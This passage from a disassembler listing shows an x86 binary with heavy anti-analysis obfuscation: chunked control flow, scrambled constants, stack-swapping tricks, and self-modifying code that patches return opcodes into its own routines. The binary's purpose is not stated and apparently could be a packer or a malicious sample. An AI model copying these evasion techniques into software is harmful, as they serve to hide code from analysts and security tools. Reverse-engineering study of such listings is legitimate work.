		jmp	nullsub_386
; END OF FUNCTION CHUNK	FOR sub_452019

; =============== S U B	R O U T	I N E =======================================



sub_43B13A	proc near		; DATA XREF: dviuq5id:0043B308o

; FUNCTION CHUNK AT 00455774 SIZE 00000005 BYTES

		call	sub_453642
		mov	ds:dword_41D190, eax
		lea	eax, nullsub_473
		mov	byte ptr [eax],	0C3h
		jmp	loc_455774
sub_43B13A	endp

; ---------------------------------------------------------------------------
		call	nullsub_474
		jmp	ds:dword_41D194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F0CA

loc_43B15E:				; CODE XREF: sub_44F0CA-9AF6j
		jmp	loc_45A03D
; END OF FUNCTION CHUNK	FOR sub_44F0CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43B163:				; CODE XREF: sub_43CB4C+50DEj
		jmp	nullsub_194
; END OF FUNCTION CHUNK	FOR sub_43CB4C

; =============== S U B	R O U T	I N E =======================================



sub_43B168	proc near		; CODE XREF: dviuq5id:0043E8E2p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043BBBE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00444659 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004480C8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004533F9 SIZE 00000019 BYTES

		xchg	edx, [esp+0]
		pop	edx
		rol	eax, 8
		push	edi
		mov	edi, ebx
		xchg	edi, [esp+0]
		push	1A690814h
		jmp	loc_444659
sub_43B168	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43B17F:				; CODE XREF: dviuq5id:loc_4495C6j
					; dviuq5id:0045398Ej
		add	ebx, 0BCD59FE9h
		call	sub_449286
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43B18A:				; CODE XREF: sub_43CB4C+CF21j
		jmp	loc_4392D9
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_43B18F:				; CODE XREF: sub_442BFE-302Cj
		jmp	loc_45385B
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------

loc_43B194:				; CODE XREF: dviuq5id:00445B1Cj
		xor	ebx, 4EC35C28h
		jns	loc_44E9E8

loc_43B1A0:				; CODE XREF: dviuq5id:loc_43F81Bj
		jmp	loc_44E03B
; ---------------------------------------------------------------------------
		test	ecx, esi
		jmp	loc_452DBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43B1AC:				; CODE XREF: sub_4525D0:loc_44D0CCj
		push	0B8628813h
		jmp	loc_446415
; END OF FUNCTION CHUNK	FOR sub_4525D0

; =============== S U B	R O U T	I N E =======================================



sub_43B1B6	proc near		; DATA XREF: dviuq5id:0045721Ao
		lea	eax, loc_452ABB
		mov	byte ptr [eax],	0C3h
		jmp	loc_44262F
sub_43B1B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B1C4	proc near		; CODE XREF: sub_40F3FF+8Cp
					; dviuq5id:00454FF6j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043ADA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E763 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00442DEA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044447A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446A48 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447B47 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004494F7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004528C7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00455001 SIZE 00000015 BYTES

		push	edi
		push	0AA0F3322h
		pop	edi
		sub	edi, 0D9514B84h
		and	edi, 0A5DA93F4h
		test	edi, 2
		jmp	loc_43ADA8
sub_43B1C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_43B1E2:				; CODE XREF: sub_45844D-F10Ej
		pop	ebp
		push	offset sub_44BA7B
		jmp	loc_43DB42
; END OF FUNCTION CHUNK	FOR sub_45844D
; ---------------------------------------------------------------------------

loc_43B1ED:				; CODE XREF: dviuq5id:00453A98j
		cdq
		jmp	loc_4578E9
; ---------------------------------------------------------------------------

locret_43B1F3:				; CODE XREF: dviuq5id:0043BDF9j
		retn
; ---------------------------------------------------------------------------

loc_43B1F4:				; CODE XREF: dviuq5id:loc_451B85j
		jmp	locret_441B2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2D4

loc_43B1F9:				; CODE XREF: sub_44E2D4+3514j
		xor	edx, 6BE2EFC7h
		sub	edx, 0FE4038B7h
		and	edx, 0A908DEDAh
		xor	edx, 7E234E1Eh
		add	edx, ebp
		add	edx, 9DCB560h
; END OF FUNCTION CHUNK	FOR sub_44E2D4
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_43B219:				; CODE XREF: sub_43C4B5:loc_44E5E1j
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_439758
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441903

loc_43B222:				; CODE XREF: sub_441903+13A4Aj
		call	sub_4543EE

loc_43B227:				; CODE XREF: sub_454267-1A10Ej
		jmp	loc_43F4CD
; END OF FUNCTION CHUNK	FOR sub_441903
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_43B22C:				; CODE XREF: sub_440898-73B6j
		xchg	ebp, esi

loc_43B22E:				; CODE XREF: sub_440898:loc_4394D7j
		xor	edi, 975DD4F9h
		add	edi, 307A4823h
		add	edi, ebp
		add	edi, 74742C10h
		call	sub_44D9C6

loc_43B247:				; CODE XREF: sub_439013+5DABj
		jmp	loc_44E117
; END OF FUNCTION CHUNK	FOR sub_440898

; =============== S U B	R O U T	I N E =======================================



sub_43B24C	proc near		; CODE XREF: dviuq5id:00448E5Aj
					; sub_44B624+C25Bp

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0043C8C6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043D838 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442261 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004439B6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449FBD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A5E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BF2D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00454907 SIZE 00000017 BYTES

		xchg	eax, [esp+0]
		pop	eax
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_452033
		jmp	loc_43D838
sub_43B24C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43B261:				; CODE XREF: dviuq5id:loc_44A82Aj
		add	edx, 0E93B7FCDh
		and	edx, 6DBAC7A0h
		add	edx, 31797985h
		rol	edx, 9
		xor	edx, 0AA715368h
		jmp	loc_44A73D
; ---------------------------------------------------------------------------

loc_43B281:				; DATA XREF: sub_4413C6:loc_44B702o
		cdq
		add	eax, [esp]
		adc	edx, [esp+4]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		jmp	loc_4519A7

; =============== S U B	R O U T	I N E =======================================



sub_43B297	proc near		; CODE XREF: sub_443DE3+3p
					; dviuq5id:00448EF6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00456BA6 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edi
		pop	ebx
		xchg	ebp, [esp-4+arg_0]
		mov	edi, ebp
		pop	ebp
		pop	ebp
		jmp	loc_456BA6
sub_43B297	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DAE

loc_43B2A9:				; CODE XREF: sub_441DAE+Aj
		or	eax, 0DFB7425Fh
		test	eax, 2000h
		jmp	loc_43BFFF
; END OF FUNCTION CHUNK	FOR sub_441DAE

; =============== S U B	R O U T	I N E =======================================



sub_43B2BA	proc near		; CODE XREF: dviuq5id:loc_455BF3p
					; dviuq5id:00459BE5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043AA35 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044983B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AC29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B235 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00451235 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045291D SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [esp-4+arg_0]
		push	edx
		push	ebx
		jmp	loc_43AA35
sub_43B2BA	endp

; ---------------------------------------------------------------------------
		jg	loc_448412
		jmp	sub_447698
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_43B2D3:				; CODE XREF: sub_455518-A8FFj
		sub	ecx, 4CAD2DD8h
		add	ecx, 0E74538E9h
		xchg	ecx, [esp+0]
		jmp	loc_451909
; END OF FUNCTION CHUNK	FOR sub_455518
; ---------------------------------------------------------------------------
		mov	[ebx], eax
		jmp	loc_439AA0
; ---------------------------------------------------------------------------

loc_43B2EE:				; CODE XREF: dviuq5id:loc_4489A9j
		pop	edi
		rol	edi, 2
		or	edi, 61D35938h
		add	edi, 84DD01Ch
		call	sub_443E24
		mov	eax, 8D800AAh
		push	offset sub_43B13A
		jmp	locret_441102
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BDEB

loc_43B312:				; CODE XREF: sub_44BDEB:loc_450550j
		mov	ecx, edx
		xchg	ecx, [esp+0]
		push	ebp
		mov	ebp, ecx
		jmp	loc_458E35
; END OF FUNCTION CHUNK	FOR sub_44BDEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_43B31F:				; CODE XREF: sub_43FA59+837Cj
		jz	loc_43D9FE
		jmp	loc_4562CC
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_43B32A:				; CODE XREF: sub_44B2EA+B631j
		jnb	loc_44224E
		jle	loc_4516DF
		rol	ecx, 1Dh
		jmp	loc_45A2F4
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_419. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450B01

loc_43B33F:				; CODE XREF: sub_450B01-5CA7j
		jmp	loc_449E2F
; END OF FUNCTION CHUNK	FOR sub_450B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_43B344:				; CODE XREF: sub_44250B+13j
		mov	eax, [ebp-14h]
		push	eax
		push	28h
		mov	eax, [ebp-4]
		push	eax
		call	sub_4564F1
		mov	eax, [ebp-4]
		jnz	loc_43C3A6
		jmp	loc_43D852
; END OF FUNCTION CHUNK	FOR sub_44250B
; ---------------------------------------------------------------------------
		test	edi, 2E08EC4Eh
		jmp	loc_43E0B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_43B36C:				; CODE XREF: sub_44514D:loc_443537j
		push	0E1316E76h
		add	eax, 0BB1FBC4Dh
		jmp	loc_440B81
; END OF FUNCTION CHUNK	FOR sub_44514D
; ---------------------------------------------------------------------------
		mov	ds:dword_41D06C, eax
		lea	eax, nullsub_475
		mov	byte ptr [eax],	0C3h
		jmp	loc_447B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_43B390:				; CODE XREF: sub_444A5E+4j
		mov	eax, [esp+0]
		push	edx
		jmp	loc_45829B
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------

loc_43B399:				; DATA XREF: sub_458712:loc_456C80o
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_43B39B:				; CODE XREF: dviuq5id:00459D79j
		jmp	sub_45944F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B3A0	proc near		; CODE XREF: sub_447C32:loc_43E8ECj
					; sub_44395C:loc_43F63Ep ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439A8B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043FEB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A973 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044C941 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044FA80 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044FEFD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450C64 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00451470 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004520A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004531B1 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00455D79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004565EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004598B8 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_4565EB
sub_43B3A0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_322. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A4C9

loc_43B3A9:				; CODE XREF: sub_45A4C9+Cj
		jmp	loc_4415B4
; END OF FUNCTION CHUNK	FOR sub_45A4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_43B3AE:				; CODE XREF: sub_4427AE+6C2Fj
		jge	loc_44F955
		push	edx
		shl	ecx, 1Bh
		jmp	loc_45496E
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------

loc_43B3BD:				; DATA XREF: sub_4418CF+94Do
		inc	dword ptr [ebp-20h]
		call	sub_43EE8F
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_43B3C5:				; CODE XREF: sub_43BD72-689j
		jmp	loc_448BBD
; END OF FUNCTION CHUNK	FOR sub_43BD72

; =============== S U B	R O U T	I N E =======================================



sub_43B3CA	proc near		; CODE XREF: dviuq5id:0044EC62j
					; sub_440294+147CEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00439B58 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044DBEF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004578A8 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, [esp-4+arg_0]
		adc	edx, [esp-4+arg_4]
		add	esp, 8
		jmp	loc_4578A8
sub_43B3CA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		not	ebp
		jmp	loc_459802
; ---------------------------------------------------------------------------

loc_43B3E4:				; CODE XREF: dviuq5id:0044241Bj
		sbb	esi, edx
		jmp	loc_43D412
; ---------------------------------------------------------------------------

loc_43B3EB:				; CODE XREF: dviuq5id:00448DA0j
		jge	loc_44380F
		add	edx, 94EFCC34h
		add	ebx, 0BBF153ACh
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_43B3FD:				; CODE XREF: sub_44FCBC-6F34j
		add	edx, 40C8572Dh
		mov	[edx], eax
		pop	edx
		jmp	loc_445DC6
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E389

loc_43B40B:				; CODE XREF: sub_44E389:loc_451BDEj
		inc	eax
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_4448C0
; END OF FUNCTION CHUNK	FOR sub_44E389
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_43B416:				; CODE XREF: sub_44AD42:loc_447B01j
		mov	eax, [ebp-4]
		call	sub_4547E2
		test	al, al
		jmp	loc_43BC10
; END OF FUNCTION CHUNK	FOR sub_44AD42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A3D

loc_43B425:				; CODE XREF: sub_445A3D+Aj
		rol	ebx, 11h
		or	ebx, 0BE676FBCh
		add	ebx, 6660D725h
		sub	ebx, 0EE362622h
		add	ebx, 0C865DF45h
; END OF FUNCTION CHUNK	FOR sub_445A3D
; START	OF FUNCTION CHUNK FOR sub_448154

loc_43B440:				; CODE XREF: sub_448154:loc_44DA0Aj
		and	ecx, ebx
		jmp	loc_4569EE
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_43B447:				; CODE XREF: sub_450E57:loc_43BC68j
		push	0B6E3ACF3h
		pop	ecx
		or	ecx, 0DF24D8F1h
		add	ecx, 5DA580h
		jmp	loc_454B20
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 3
; START	OF FUNCTION CHUNK FOR sub_44C80D

loc_43B462:				; CODE XREF: sub_44C80D-698Fj
		mov	ds:dword_43EE30, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44C80D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_43B469:				; CODE XREF: sub_439C09+1D846j
		jmp	loc_444530
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_43B46E:				; CODE XREF: dviuq5id:00440EE0j
					; sub_4463B7+DC40j
		rol	eax, 3
		push	eax
		call	sub_44E3BA
		retn
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F2B4

loc_43B478:				; CODE XREF: sub_43F2B4+12j
		jmp	loc_450BA1
; END OF FUNCTION CHUNK	FOR sub_43F2B4
; ---------------------------------------------------------------------------
		add	esi, 0EC638B8Dh
		jmp	sub_4483A4
; ---------------------------------------------------------------------------

loc_43B488:				; CODE XREF: dviuq5id:0044BDE6j
		or	edx, eax

; =============== S U B	R O U T	I N E =======================================



sub_43B48A	proc near		; CODE XREF: sub_459BC0-1C38Dp

; FUNCTION CHUNK AT 0043AB3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DF43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044580C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00449195 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44CA92
		jmp	loc_43AB3D
sub_43B48A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43B49C:				; CODE XREF: dviuq5id:00459480j
		xchg	edi, [esp]
		call	sub_454AAA
		push	7CAC1077h
		pop	eax
		add	eax, 39FD59FBh
		test	eax, 8
		jmp	loc_43E519
; ---------------------------------------------------------------------------
		or	ebx, 14CA5D6Ah
		or	edi, ebx
		jmp	sub_4486F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449485

loc_43B4C8:				; CODE XREF: sub_449485:loc_4496BBj
		mov	edi, ebx
		jmp	loc_43FE91
; END OF FUNCTION CHUNK	FOR sub_449485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458A47

loc_43B4CF:				; CODE XREF: sub_458A47+1Ej
		mov	byte ptr [eax],	0C3h
		jmp	loc_43AD57
; END OF FUNCTION CHUNK	FOR sub_458A47
; ---------------------------------------------------------------------------

loc_43B4D7:				; CODE XREF: dviuq5id:0044EB7Fj
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		call	sub_43D767
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_43B4E5:				; CODE XREF: sub_43CB4C+194D0j
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
		push	offset sub_4413F5
		jmp	loc_44E2B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442503

loc_43B4F4:				; CODE XREF: sub_442503:loc_450CC8j
		jnz	loc_43A319
		jmp	loc_43A87C
; END OF FUNCTION CHUNK	FOR sub_442503
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_43B4FF:				; CODE XREF: sub_448154:loc_44E3F6j
		xchg	eax, [esp+0]
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------

loc_43B507:				; CODE XREF: dviuq5id:loc_446E08j
		cdq
		sub	edx, 9B5B97DEh
		xchg	edx, ebx
		ja	loc_45038D
		jmp	loc_439704
; ---------------------------------------------------------------------------

loc_43B51B:				; CODE XREF: dviuq5id:0044628Ej
		jnb	loc_456BCF
		test	ecx, 0E0A80AF0h
		jmp	loc_459865
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_43B52C:				; CODE XREF: sub_43C710-26BAj
		jz	loc_45703A
		jb	nullsub_193
		popf
		ror	eax, 0Fh
		xor	esi, ebp
		jmp	loc_457034
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_43B543:				; CODE XREF: sub_441DDA:loc_439415j
					; sub_441DDA+1055Aj
		call	sub_450905

loc_43B548:				; CODE XREF: sub_44A44C+6FBj
		jmp	loc_44EC49
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------

loc_43B54D:				; CODE XREF: dviuq5id:0045479Aj
		add	eax, 0DAB4D482h
		push	esi
		mov	esi, eax
		xchg	esi, [esp]
		jmp	loc_44833F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_43B55E:				; CODE XREF: sub_443F7Fj
		push	eax
		mov	eax, ebp
		xchg	eax, [esp+4+var_4]
		jmp	loc_449EE7
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
		ror	edi, 3
		xor	ebx, ecx
; START	OF FUNCTION CHUNK FOR sub_43B9A5

loc_43B56E:				; CODE XREF: sub_43B9A5:loc_44BE8Bj
		jmp	sub_458B72
; END OF FUNCTION CHUNK	FOR sub_43B9A5
; ---------------------------------------------------------------------------

loc_43B573:				; CODE XREF: dviuq5id:004477C7j
		jp	loc_45A1F6
		jp	loc_44C286
		xor	eax, 0D5387B0Ch
		jmp	loc_43E075
; ---------------------------------------------------------------------------
unk_43B58A	db  81h	; 		; DATA XREF: dviuq5id:00451DFFo
		db 0C2h	; Â
		db    6
		db  48h	; H
		db  9Dh	; 
		db  8Fh	; 
		db  87h	; ‡
		db  14h
		db  24h	; $
		db 0E9h	; é
		db 0F1h	; ñ
		db  82h	; ‚
		db    0
		db    0
		db  52h	; R
		db  68h	; h
		db  9Fh	; Ÿ
		db  90h	; 
		db  95h	; •
		db 0EBh	; ë
		db  5Ah	; Z
		db  81h	; 
		db 0CAh	; Ê
		db 0DFh	; ß
		db  28h	; (
		db  90h	; 
		db  4Ch	; L
		db  81h	; 
		db 0E2h	; â
		db  61h	; a
		db  7Fh	; 
		db  3Fh	; ?
		db  6Fh	; o
		db 0E9h	; é
		db  58h	; X
		db  72h	; r
		db    0
		db    0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C8C

loc_43B5B0:				; CODE XREF: sub_439C8C+1Ej
		call	sub_44A615
		xor	ecx, 19B45E49h
		jmp	sub_458D70
; END OF FUNCTION CHUNK	FOR sub_439C8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455682

loc_43B5C0:				; CODE XREF: sub_455682+Cj
		jz	loc_44851B
		jmp	loc_456881
; END OF FUNCTION CHUNK	FOR sub_455682
; ---------------------------------------------------------------------------

loc_43B5CB:				; CODE XREF: dviuq5id:004506B8j
		or	ebx, 0F0E11F7Fh
		jnz	loc_453BA4
; START	OF FUNCTION CHUNK FOR sub_456DB4

loc_43B5D7:				; CODE XREF: sub_456DB4+Ej
		jmp	loc_44F7E7
; END OF FUNCTION CHUNK	FOR sub_456DB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4557A6

loc_43B5DC:				; CODE XREF: sub_4557A6+Cj
		jmp	loc_442A74
; END OF FUNCTION CHUNK	FOR sub_4557A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E109

loc_43B5E1:				; CODE XREF: sub_44E109-142Dj
		jmp	nullsub_272
; END OF FUNCTION CHUNK	FOR sub_44E109
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45082A

loc_43B5E6:				; CODE XREF: sub_45082A-AFF8j
		jmp	sub_456F43
; END OF FUNCTION CHUNK	FOR sub_45082A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433BD

loc_43B5EB:				; CODE XREF: sub_4433BD+10j
		jmp	loc_44D21C
; END OF FUNCTION CHUNK	FOR sub_4433BD
; ---------------------------------------------------------------------------
		shl	edx, 3
		rol	eax, 6
; START	OF FUNCTION CHUNK FOR sub_439013

loc_43B5F6:				; CODE XREF: sub_439013+1B887j
		popf
		jmp	loc_453BA4
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_43B5FC:				; CODE XREF: sub_446544:loc_43CE5Ej
		jz	sub_44BD8A

loc_43B602:				; CODE XREF: dviuq5id:0044AC60j
		jmp	loc_4460EF
; END OF FUNCTION CHUNK	FOR sub_446544
; ---------------------------------------------------------------------------

loc_43B607:				; CODE XREF: dviuq5id:00452000j
		jnz	loc_45371A
		jmp	loc_44E4E1
; ---------------------------------------------------------------------------
		push	esi
		push	0E4A7B741h
		xchg	edi, [esp]
		mov	esi, edi
		pop	edi
		jmp	loc_439248
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43B623:				; CODE XREF: sub_4525D0-C918j
		add	[ebp-0Ah], al
		xor	eax, eax
		call	sub_439B74

loc_43B62D:				; CODE XREF: sub_458712-A161j
		jmp	loc_459CA0
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------

loc_43B632:				; CODE XREF: dviuq5id:0044A738j
		mov	eax, 0A4C05BA6h
		call	sub_453642
		mov	ds:dword_41D180, eax
		lea	eax, nullsub_303
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_303

; =============== S U B	R O U T	I N E =======================================



sub_43B650	proc near		; CODE XREF: sub_404DF4+27p
					; sub_43B650+5j
					; DATA XREF: ...
		call	sub_43B660
		jmp	ds:off_41D184
sub_43B650	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457B2A

loc_43B65B:				; CODE XREF: sub_457B2A-1CEA7j
		jmp	loc_43FE32
; END OF FUNCTION CHUNK	FOR sub_457B2A

; =============== S U B	R O U T	I N E =======================================



sub_43B660	proc near		; CODE XREF: sub_43B650p
					; sub_43E859:loc_44B185j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043CB3D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E865 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442226 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044619C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00452C81 SIZE 00000005 BYTES

		pop	edx
		jmp	loc_43CB3D
sub_43B660	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BE4

loc_43B667:				; CODE XREF: sub_444BE4:loc_454F86j
		xchg	edx, [esp+0]
		call	sub_452189
; END OF FUNCTION CHUNK	FOR sub_444BE4
; START	OF FUNCTION CHUNK FOR sub_44AD42

loc_43B66F:				; CODE XREF: sub_44AD42:loc_457784j
		push	edi
		push	6BD378Ah
		xchg	ebx, [esp+8+var_8]
		mov	edi, ebx
		jmp	loc_43A6AE
; END OF FUNCTION CHUNK	FOR sub_44AD42
; ---------------------------------------------------------------------------

loc_43B67F:				; DATA XREF: sub_44B02F-1948o
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	offset loc_454A5A
		jmp	locret_442C46
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43B692:				; CODE XREF: dviuq5id:00449A8Cj
		jmp	loc_453102
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_43B697:				; CODE XREF: sub_458F2A-19ECAj
					; dviuq5id:loc_454ED7j
		js	loc_4405B8
		test	ecx, 0DFF27863h
		jmp	loc_44F769
; END OF FUNCTION CHUNK	FOR sub_458F2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_43B6A8:				; CODE XREF: sub_4525D0:loc_4597FDj
		test	ebp, 12DB2E06h
		jmp	loc_44A09D
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAE1

loc_43B6B3:				; CODE XREF: sub_43FAE1:loc_4504FAj
		mov	[edi], ebx
